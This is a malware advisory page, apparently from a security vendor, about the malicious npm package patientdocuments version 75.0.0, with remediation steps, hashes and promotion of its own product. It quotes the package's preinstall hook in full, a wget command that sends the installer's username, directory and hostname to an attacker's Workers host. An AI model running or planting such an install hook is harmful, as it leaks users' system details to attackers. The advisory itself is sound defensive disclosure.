Which versions of patientdocuments are malicious?

The following npm versions of patientdocuments are flagged malicious: 75.0.0. Treat any of these as compromised.

How do I remediate patientdocuments if I installed it?

patientdocuments is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

I already installed patientdocuments — how do I know if it already compromised me?

If patientdocuments was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is patientdocuments part of a known attack campaign?

Yes — patientdocuments is associated with the IN-MAL-2026-006413, IN-MAL-2026-006414, GHSA-28q9-vg2f-r5m7 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find patientdocuments across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for patientdocuments (version 75.0.0). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging patientdocuments across your stack and pipelines.

Malicious package

patientdocumentsnpm

patientdocuments is a confirmed malicious npm package (MAL-2026-5752) that steals credentials and exfiltrates sensitive data (malicious version 75.0.0). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in patientdocuments (npm)

MAL-2026-5752

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall patientdocuments

What this malware does

package.json declares a preinstall lifecycle script that runs wget --quiet "http://orwa-orwa.dev-node-lap.workers.dev/?user=$(whoami)&path=$(pwd)&hostname=$(hostname)", firing automatically on npm install. The script leaks the installer's OS username, current working directory, and hostname to an attacker-controlled Cloudflare Workers endpoint over plain HTTP. The same beacon is duplicated in the test and preupdate scripts. The package ships no library code (no main module shipped), so its sole effect is the recon beacon. unsafe-perm is set, ensuring execution as root in privileged install contexts. This is a dependency-confusion / recon-beacon pattern: identity exfiltration with no legitimate purpose tied to the package's advertised function.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Malicious versions

1 flagged

75.0.0

Indicators of compromise (SHA-256)

56c5ab4dc6470deaebe29f4851edb91bc5d5704e9f9578a91e238490708c007b

a2a393a2c4aac0738463b79bb66032533b37359abf9f89845c1899075b28ae26

bfe139b8a3698f008a12823f07e15534fd8529c0eb8efc11df79dc6670271991

Detection & response playbook

Credential / info stealer

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for patientdocuments (version 75.0.0). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging patientdocuments across your stack and pipelines.
If you installed it — respond
patientdocuments is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If patientdocuments was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks patientdocuments before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. patientdocuments on npm has been identified as a malicious package (version 75.0.0 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-006413IN-MAL-2026-006414GHSA-28q9-vg2f-r5m7

References

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks patientdocuments-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.

Malware detection Runtime egress monitoring

Explore

All malware advisories How O3 detects malware Vulnerability database